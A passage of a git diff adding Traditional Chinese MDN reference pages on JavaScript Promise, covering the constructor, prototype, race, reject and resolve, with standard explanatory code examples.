+<p>Please do not add polyfills on MDN pages. For more details, refer to: <a href="https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500">https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500</a></p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype.finally', 'Promise.prototype.finally')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.finally")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.then()")}}</li>
+ <li>{{jsxref("Promise.prototype.catch()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/promise/index.html b/files/zh-tw/web/javascript/reference/global_objects/promise/index.html
new file mode 100644
index 0000000000..8ec1456ae1
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/promise/index.html
@@ -0,0 +1,256 @@
+---
+title: Promise
+slug: Web/JavaScript/Reference/Global_Objects/Promise
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Promise</code></strong> 物件代表一個即將完成、或失敗的非同步操作，以及它所產生的值。</p>
+
+<div class="note">
+<p>此條目為介紹 Promise 建構式。要瞭解 Promise 相關使用方式，請先參考<a href="/zh-TW/docs/Web/JavaScript/Guide/Using_promises">使用 Promise</a>。Promise 建構式主要用於包裹尚未支援 Promise 的函式。</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-constructor.html")}}</div>
+
+
+
+<p class="hidden">The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">new Promise( /* executor */ function(resolve, reject) { ... } );</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt>executor</dt>
+ <dd>為一個依序接收兩個參數的函式：<code>resolve</code> 及 <code>reject</code>（實現及拒絕回呼函式）。在 Promise 實作中，<code>executor</code> 函式在傳入參數 <code>resolve</code> 與 <code>reject</code> 後會立刻執行（<code>executor</code> 函式會在 <code>Promise</code> 建構式回傳 Promise 物件前被執行）。<code>resolve</code> 與 <code>reject</code> 函式，會在被個別呼叫時，個別執行之。通常 executor 函式會發起一些非同步操作。接著，成功完成後執行 <code>resolve</code> 以完成 promise；或如果有錯誤，執行 <code>rejects</code>。<br>如果 executor 函式在執行中拋出錯誤，promise 會被拒絕（rejected），回傳值也將被忽略。</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p><code><strong>Promise</strong></code> 會代理一個建立時，不用預先得知的值。它使你能夠繫結（associate）著發動非同步操作後，最終的成功值（success value）或失敗訊息（failure reason）的處理函式（handlers）。這讓非同步方法回傳值的方式很像同步方法，但不是回傳最終結果：非同步方法回傳一個 <em>promise</em> 物件作為未來某時間點的值。</p>
+
+<p>一個 <code>Promise</code> 物件處於以下幾種狀態：</p>
+
+<ul>
+ <li><em>擱置（pending）</em>：初始狀態，不是 fulfilled 與 rejected。</li>
+ <li><em>實現（fulfilled）</em>：表示操作成功地完成。</li>
+ <li><em>拒絕（rejected）</em>：表示操作失敗了。</li>
+</ul>
+
+<p>一個處於擱置狀態的 promise 能以一個值被實現（fulfilled），或是以一個原因或錯誤而被拒絕（rejected）。當上述任一狀態轉換發生時，那些透過 <code>then</code> 方法所繫結（associated）的處理函式列隊就會依序被調用。（若一個 promise 已被實現或拒絕，繫結（attached）於它的處理函式將立即被呼叫，因此完成非同步操作與繫結處理函式之間不存在競爭條件（race condition）。）</p>
+
+<p>由於 <code>{{jsxref("Promise.then", "Promise.prototype.then()")}}</code> 以及 <code>{{jsxref("Promise.catch", "Promise.prototype.catch()")}}</code> 方法都回傳 promise，它們可以被串接。</p>
+
+<p><img alt="" src="https://cdn.rawgit.com/Vectaio/a76330b025baf9bcdf07cb46e5a9ef9e/raw/26c4213a93dee1c39611dcd0ec12625811b20a26/js-promise.svg"></p>
+
+<div class="note">
+<p><strong>容易混淆:</strong> 許多其他語言擁有機制用來惰性求值（lazy evaluation）及延遲（deferring）運算，它們也被稱作“promises” — e.g. Scheme. 然而在 JavaScript 中 Promises 代表那些（已經）發生中（happening）的程序，它們可以繫結回呼函式。若您要找的是惰性求值表示式，考慮不帶參數的 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function</a>：<code>f = () =&gt; <em>expression</em></code> 來建立惰性求值表示式，並透過 <code>f()</code> 進行求值.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: 一個被實現或拒絕，但不處於 pending 的 promise 被稱作被解決（settled）。您也會見到使用解決（resolved）一詞來描述 promises — 這代表 promises 被實現（fulfilled）了。<a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">States and fates</a> 這篇文章包含了更多 promises 的專有名詞。</p>
+</div>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt><code>Promise.length</code></dt>
+ <dd>長度屬性，值固定為 <code>1</code>。(建構式參數數目).</dd>
+ <dt>{{jsxref("Promise.prototype")}}</dt>
+ <dd><code>Promise</code> 建構式的原型（prototype）.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt>
+ <dd>回傳一個 promise，當在引數 iterable 中所有 promises 都被實現時被實現，或在引數 iterable 中有一個 promise 被拒絕時立刻被拒絕。若回傳的 promise 被實現，它將以一個實現值的陣列被實現，其順序與 iterable 中的 promises 相同。若回傳的 promise 被拒絕，它將以失敗訊息被拒絕，此訊息來自第一個在 iterable 中被拒絕的 promise。這個方法在聚集許多 promises 的結果時很有效。</dd>
+ <dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt>
+ <dd>回傳一個被實現或拒絕的 promise，當 iterable 中有一個 promise 被實現或拒絕時。</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.reject", "Promise.reject(reason)")}}</dt>
+ <dd>回傳一個以失敗訊息拒絕的 <code>promise</code>。</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.resolve", "Promise.resolve(value)")}}</dt>
+ <dd>回傳一個以 value 實現的 <code>promise</code>。若該值為 thenable (i.e. 具有 <code>then</code> 方法)，回傳的 promise 將跟隨（follow）之，採用她的最終狀態； 在其他情形回傳的 promise 將以 value 被實現。一般來說，當您不知道 value 是否為 promise，使用 {{jsxref("Promise.resolve", "Promise.resolve(value)")}}，將回傳值以 promise 作處理。</dd>
+</dl>
+
+<h2 id="Promise_原型"><code>Promise</code> 原型</h2>
+
+<h3 id="屬性_2">屬性</h3>
+
+<p>{{page('zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Promise/prototype','屬性')}}</p>
+
+<h3 id="方法_2">方法</h3>
+
+<p>{{page('zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Promise/prototype','方法')}}</p>
+
+<h2 id="建立_Promise">建立 Promise</h2>
+
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif">一個</font></code> <code>Promise</code> 物件透過 <code>new</code> 及其建構式建立。這個建構式接收一個叫作”執行器函式（executor function）“的引數。此函式接收兩個函式作為引數。第一個函式（<code>resolve）</code>在非同步作業成功完成時，以該作業之結果值被呼叫。第二個函式（<code>reject</code>）在作業失敗時，以失敗訊息，通常是一個 error object，被呼叫。</p>
+
+<pre class="brush: js">const myFirstPromise = new Promise((resolve, reject) =&gt; {
+  // 執行一些非同步作業，最終呼叫:
+  //
+  //   resolve(someValue); // 實現
+  // 或
+  //   reject("failure reason"); // 拒絕
+});
+</pre>
+
+<p>要提供一個函式 promise 功能，讓它回傳一個 promise 即可：</p>
+
+<pre class="brush: js">function myAsyncFunction(url) {
+  return new Promise((resolve, reject) =&gt; {
+    const xhr = new XMLHttpRequest();
+    xhr.open("GET", url);
+    xhr.onload = () =&gt; resolve(xhr.responseText);
+    xhr.onerror = () =&gt; reject(xhr.statusText);
+    xhr.send();
+  });
+};</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="入門範例">入門範例</h3>
+
+<pre class="brush: js">let myFirstPromise = new Promise((resolve, reject) =&gt; {
+  // 當非同步作業成功時，呼叫 resolve(...),而失敗時則呼叫 reject(...)。
+  // 在這個例子中，使用 setTimeout(...) 來模擬非同步程式碼。
+  // 在實務中，您將可能使用像是 XHR 或者一個 HTML5 API.
+  setTimeout(function(){
+    resolve("Success!"); // Yay！非常順利！
+  }, 250);
+});
+
+myFirstPromise.then((successMessage) =&gt; {
+  // successMessage 是任何您由上方 resolve(...) 傳入的東西。
+  // 在此僅作為成功訊息，但是它不一定是字串。
+  console.log("Yay! " + successMessage);
+});
+</pre>
+
+<h3 id="進階範例">進階範例</h3>
+
+<pre class="brush: html hidden">&lt;button id="btn"&gt;Make a promise!&lt;/button&gt;
+&lt;div id="log"&gt;&lt;/div&gt;
+</pre>
+
+<p><code>這個小範例演示了</code> <code>Promise</code> <code>的運作機制。每當 </code>{{HTMLElement("button")}} 被點擊時，<code>testPromise()</code> 方法被呼叫。每次點擊將透過 {{domxref("window.setTimeout()")}} 建立一個將在 1-3 秒內隨機地被實現的 promise，供 promise 計數（一個從 1 開始的數值）。建構式 <code>Promise()</code> 被用來建立 promise。</p>
+
+<p>promise 的實現值單純地經由一個實現回呼函式 {{jsxref("Promise.prototype.then()","p1.then()")}} 被印出。下以一些文字紀錄來展現方法中同步的與非同步處理 promise 的部分是如何分離彼此。</p>
+
+<pre class="brush: js">'use strict';
+var promiseCount = 0;
+
+function testPromise() {
+    let thisPromiseCount = ++promiseCount;
+
+    let log = document.getElementById('log');
+    log.insertAdjacentHTML('beforeend', thisPromiseCount +
+        ') Started (&lt;small&gt;Sync code started&lt;/small&gt;)&lt;br/&gt;');
+
+    // 建立一個新的 promise：此 promise 承諾一個數值計數, 由 1 開始（等待約 2 秒）
+    let p1 = new Promise(
+        // 這個解決器函數（resolver function）呼叫實現或
+        // 拒絕 promise。
+        (resolve, reject) =&gt; {
+            log.insertAdjacentHTML('beforeend', thisPromiseCount +
+                ') Promise started (&lt;small&gt;Async code started&lt;/small&gt;)&lt;br/&gt;');
+            // 在此例子單純用來產生非同步特性。
+            window.setTimeout(
+                function() {
+                    // 實現這個 promise!
+                    resolve(thisPromiseCount);
+                }, Math.random() * 2000 + 1000);
+        }
+    );
+
+    // 接著透過呼叫 then() 來決定 promise 進入 resolved 時，要透過 then() 做什麼，
+    // 或是進入 rejected 時，要透過 catch() 方法要做什麼。
+    p1.then(
+        // 印出實現值（fulfillment value）
+        function(val) {
+            log.insertAdjacentHTML('beforeend', val +
+                ') Promise fulfilled (&lt;small&gt;Async code terminated&lt;/small&gt;)&lt;br/&gt;');
+        })
+    .catch(
+        // 印出失敗訊息（rejection reason）
+        (reason) =&gt; {
+            console.log('Handle rejected promise ('+reason+') here.');
+        });
+
+    log.insertAdjacentHTML('beforeend', thisPromiseCount +
+        ') Promise made (&lt;small&gt;Sync code terminated&lt;/small&gt;)&lt;br/&gt;');
+}</pre>
+
+<p><sub>*譯註：resolver function 即 executor function。</sub></p>
+
+<pre class="brush:js hidden">if ("Promise" in window) {
+  let btn = document.getElementById("btn");
+  btn.addEventListener("click",testPromise);
+} else {
+  log = document.getElementById('log');
+  log.innerHTML = "Live example not available as your browser doesn't support the &lt;code&gt;Promise&lt;code&gt; interface.";
+}
+</pre>
+
+<p>這個範例從點擊按鈕開始。您的瀏覽器需要支援 Promise。在短時間內點擊按鈕許多次，您甚至將看到不同的 promises 一個接一個地被實現。</p>
+
+<p>{{EmbedLiveSample("Advanced_Example", "500", "200")}}</p>
+
+<h2 id="使用_XHR_載入圖片">使用 XHR 載入圖片</h2>
+
+<p>另一個使用 <code>Promise</code> and <code><a href="/zh-TW/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> 來載入圖片的簡單例子可以在 MDN GitHub <a href="https://github.com/mdn/js-examples/tree/master/promises-test">js-examples</a> 儲存庫找到。 你也可以<a href="https://mdn.github.io/js-examples/promises-test/">see it in action</a>。每個步驟都附以註解，讓你能逐步遵隨 Promise 與 XHR 架構。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise-objects', 'Promise')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Guide/Using_promises">Using promises</a></li>
+ <li><a href="http://promisesaplus.com/">Promises/A+ specification</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/promises-of-promise-part-1-53f769245a53">Venkatraman.R - JS Promise (Part 1, Basics)</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/js-promise-part-2-q-js-when-js-and-rsvp-js-af596232525c#.dzlqh6ski">Venkatraman.R - JS Promise (Part 2 - Using Q.js, When.js and RSVP.js)</a></li>
+ <li><a href="https://tech.io/playgrounds/11107/tools-for-promises-unittesting/introduction">Venkatraman.R - Tools for Promises Unit Testing</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/es6/promises/">Jake Archibald: JavaScript Promises: There and Back Again</a></li>
+ <li><a href="http://de.slideshare.net/domenicdenicola/callbacks-promises-and-coroutines-oh-my-the-evolution-of-asynchronicity-in-javascript">Domenic Denicola: Callbacks, Promises, and Coroutines – Asynchronous Programming Patterns in JavaScript</a></li>
+ <li><a href="http://www.mattgreer.org/articles/promises-in-wicked-detail/">Matt Greer: JavaScript Promises ... In Wicked Detail</a></li>
+ <li><a href="https://www.promisejs.org/">Forbes Lindesay: promisejs.org</a></li>
+ <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Nolan Lawson: We have a problem with promises — Common mistakes with promises</a></li>
+ <li><a href="https://github.com/jakearchibald/es6-promise/">Promise polyfill</a></li>
+ <li><a href="https://www.udacity.com/course/javascript-promises--ud898">Udacity: JavaScript Promises</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/promise/prototype/index.html b/files/zh-tw/web/javascript/reference/global_objects/promise/prototype/index.html
new file mode 100644
index 0000000000..476c52f7a3
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/promise/prototype/index.html
@@ -0,0 +1,64 @@
+---
+title: Promise.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Promise/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Promise</strong></code><strong><code>.prototype</code></strong> 屬性代表了 {{jsxref("Promise")}} 建構式的原型物件。</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="描述">描述</h2>
+
+<p>所有 {{jsxref("Promise")}} 實例都繼承自 {{jsxref("Promise.prototype")}}。您可以使用建構式的原型物件來增加屬性或方法到所有的 <code>Promise</code> 實例。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt><code>Promise.prototype.constructor</code></dt>
+ <dd>回傳一個建立實例原型（instance's prototype）的函式。預設為 {{jsxref("Promise")}} 函數。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.catch", "Promise.prototype.catch(onRejected)")}}</dt>
+ <dd>繫結一個拒絕回呼函式（rejection handler callback）到 promise，當它被呼叫時回傳一個以回傳值作解析的新 promise，或者當 promise 被實現時以原值作解析。</dd>
+ <dt>{{jsxref("Promise.then", "Promise.prototype.then(onFulfilled, onRejected)")}}</dt>
+ <dd>繫結實現或拒絕回呼函式到 promise，回傳一個以 handler 之回傳值作解析的新 promise，或者當 promise 未處理（not handled）時以原值作解析。(i.e. 比如相關聯的 <code>onFulfilled</code> 或 <code>onRejected</code> 不是函式。)</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.prototype', 'Promise.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype', 'Promise.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this file: <a href="https://github.com/mdn/browser-compat-data/blob/master/javascript/promise.json">https://github.com/mdn/browser-compat-data/blob/master/javascript/promise.json</a>.</p>
+
+<p>{{Compat("javascript/promise","Promise.prototype")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/promise/race/index.html b/files/zh-tw/web/javascript/reference/global_objects/promise/race/index.html
new file mode 100644
index 0000000000..9f0d8b4d2e
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/promise/race/index.html
@@ -0,0 +1,171 @@
+---
+title: Promise.race()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/race
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Promise.race(iterable)</strong></code> 方法回傳一個 promise 物件，此 promise 物件會於 iterable 引數中任一個 promise 轉為 resolve 或 rejected 時立即轉變成 resolve 或 rejected，並且接收其成功值或失敗訊息。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>Promise.race(iterable)</var>;</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt>iterable</dt>
+ <dd>一個 iterable 物件，像是 {{jsxref("Array")}}. 請參考<a href="/zh-TW/docs/Web/JavaScript/Reference/Iteration_protocols#可迭代協議">可迭代協議</a>。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>當傳入的 iterable 中有 promise 被實現或拒絕時，立刻回傳被實現或拒絕的 {{jsxref("Promise")}}。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>race</code> 函式回傳一個與傳入的 iterable 之中第一個被解決（settled）的 promise 相同方式被解決（且以相同值）的 <code>Promise</code>。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Promise.race_的非同步性質"><font face="consolas, Liberation Mono, courier, monospace"><code>Promise.race</code> 的非同步性質</font></h3>
+
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif">以下例子演示了 </font>Promise.race</code> <code>的非同步性質：</code></p>
+
+<pre class="brush: js">// we are passing as argument an array of promises that are already resolved,
+// to trigger Promise.race as soon as possible
+var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)];
+
+var p = Promise.race(resolvedPromisesArray);
+// immediately logging the value of p
+console.log(p);
+
+// using setTimeout we can execute code after the stack is empty
+setTimeout(function(){
+    console.log('the stack is now empty');
+    console.log(p);
+});
+
+// logs, in order:
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: 33 }</pre>
+
+<p>一個空的 iterable 造成回傳的 promise 永久擱置：</p>
+
+<pre class="brush: js">var foreverPendingPromise = Promise.race([]);
+console.log(foreverPendingPromise);
+setTimeout(function(){
+    console.log('the stack is now empty');
+    console.log(foreverPendingPromise);
+});
+
+// logs, in order:
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "pending" }
+</pre>
+
+<p>若 iterable 中有一個或多個非 promise 值且／或一個已經被實現／解決的 promise，<code>Promise.race</code> 將以陣列中第一個這樣的值解決：</p>
+
+<pre class="brush: js">var foreverPendingPromise = Promise.race([]);
+var alreadyResolvedProm = Promise.resolve(666);
+
+var arr = [foreverPendingPromise, alreadyResolvedProm, "non-Promise value"];
+var arr2 = [foreverPendingPromise, "non-Promise value", Promise.resolve(666)];
+var p = Promise.race(arr);
+var p2 = Promise.race(arr2);
+
+console.log(p);
+console.log(p2);
+setTimeout(function(){
+    console.log('the stack is now empty');
+    console.log(p);
+    console.log(p2);
+});
+
+// logs, in order:
+// Promise { &lt;state&gt;: "pending" }
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: 666 }
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: "non-Promise value" }
+</pre>
+
+<h3 id="使用_Promise.race_–_及_setTimeout_的範例">使用 <code>Promise.race</code> – 及 <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout</a></code> 的範例</h3>
+
+<pre class="brush: js">var p1 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 500, 'one');
+});
+var p2 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 100, 'two');
+});
+
+Promise.race([p1, p2]).then(function(value) {
+  console.log(value); // "two"
+  // Both resolve, but p2 is faster
+});
+
+var p3 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 100, 'three');
+});
+var p4 = new Promise(function(resolve, reject) {
+    setTimeout(reject, 500, 'four');
+});
+
+Promise.race([p3, p4]).then(function(value) {
+  console.log(value); // "three"
+  // p3 is faster, so it resolves
+}, function(reason) {
+  // Not called
+});
+
+var p5 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 500, 'five');
+});
+var p6 = new Promise(function(resolve, reject) {
+    setTimeout(reject, 100, 'six');
+});
+
+Promise.race([p5, p6]).then(function(value) {
+  // Not called
+}, function(reason) {
+  console.log(reason); // "six"
+  // p6 is faster, so it rejects
+});
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.race', 'Promise.race')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.race', 'Promise.race')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Promise.race")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.all()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/promise/reject/index.html b/files/zh-tw/web/javascript/reference/global_objects/promise/reject/index.html
new file mode 100644
index 0000000000..0c41a37509
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/promise/reject/index.html
@@ -0,0 +1,72 @@
+---
+title: Promise.reject()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/reject
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Promise.reject(reason)</strong></code><strong> </strong>方法回傳一個以 <code>reason</code> 拒絕的 <code>Promise</code> 物件。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>Promise.reject(reason)</var>;</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt>reason</dt>
+ <dd><code>Promise</code> 的失敗訊息。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個以 <code>reason</code> 拒絕的 {{jsxref("Promise")}}。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>靜態函式 <code>Promise.reject</code> 回傳一個被拒絕的 <code>Promise。由於除錯目的及選擇性錯誤捕捉（selective error catching），使</code>用一個 <code>instanceof</code> {{jsxref("Error")}} 作為 reason 是很有幫助的。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用靜態方法_Promise.reject()">使用靜態方法 Promise.reject()</h3>
+
+<pre class="brush: js">Promise.reject(new Error('fail')).then(function(error) {
+  // not called
+}, function(error) {
+  console.log(error); // Stacktrace
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.reject', 'Promise.reject')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.reject', 'Promise.reject')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.reject")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://github.com/petkaantonov/bluebird#error-handling">Selective error catching using the BlueBird Promise library</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/promise/resolve/index.html b/files/zh-tw/web/javascript/reference/global_objects/promise/resolve/index.html
new file mode 100644
index 0000000000..e2d460a7e3
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/promise/resolve/index.html
@@ -0,0 +1,142 @@
+---
+title: Promise.resolve()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/resolve
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/resolve
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Promise.resolve(value)</strong></code> 方法回傳一個以 value 判定結果的 {{jsxref("Promise")}} 物件。若 value 是個 thenable (例如，具有 {{jsxref("Promise.then", "\"then\"方法")}})，則回傳的 promise 將依其結果採取其最終狀態；若 value 是 promise，則作為呼叫 Promise.resolve 之結果；其他情形都將回傳以 value 實現的 promise。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">Promise.resolve(value);
+Promise.resolve(promise);
+Promise.resolve(thenable);
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>將被 <code>Promise</code> 實現的引數（argument）。可以是個 <code>Promise</code> 或待解決的 thenable。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>以 value 或作為 value 的 promise 解決的 {{jsxref("Promise")}}。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>靜態函式</code> <code>Promise.resolve</code> 回傳判定後的 <code>Promise。</code></p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_Promise.resolve_靜態方法">使用 <code>Promise.resolve</code> 靜態方法</h3>
+
+<pre class="brush: js">Promise.resolve('Success').then(function(value) {
+  console.log(value); // "Success"
+}, function(value) {
+  // not called
+});
+</pre>
+
+<h3 id="判定陣列">判定陣列</h3>
+
+<pre class="brush: js">var p = Promise.resolve([1,2,3]);
+p.then(function(v) {
+  console.log(v[0]); // 1
+});
+</pre>
+
+<h3 id="判定另一個_Promise">判定另一個 <code>Promise</code></h3>
+
+<pre class="brush: js">var original = Promise.resolve(33);
+var cast = Promise.resolve(original);
+cast.then(function(value) {
+  console.log('value: ' + value);
+});
+console.log('original === cast ? ' + (original === cast));
+
+// logs, in order:
+// original === cast ? true
+// value: 33
+</pre>
+
+<p>由於 handlers 是非同步地被調用而導致相反的紀錄順序。經由<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Promise/then#回傳值">這篇文章</a>了解 then 如何運作。</p>
+
+<h3 id="判定_thenables_及拋出_Errors">判定 thenables 及拋出 Errors</h3>
+
+<pre class="brush: js">// Resolving a thenable object
+var p1 = Promise.resolve({
+  then: function(onFulfill, onReject) { onFulfill('fulfilled!'); }
+});
+console.log(p1 instanceof Promise) // true, object casted to a Promise
+
+p1.then(function(v) {
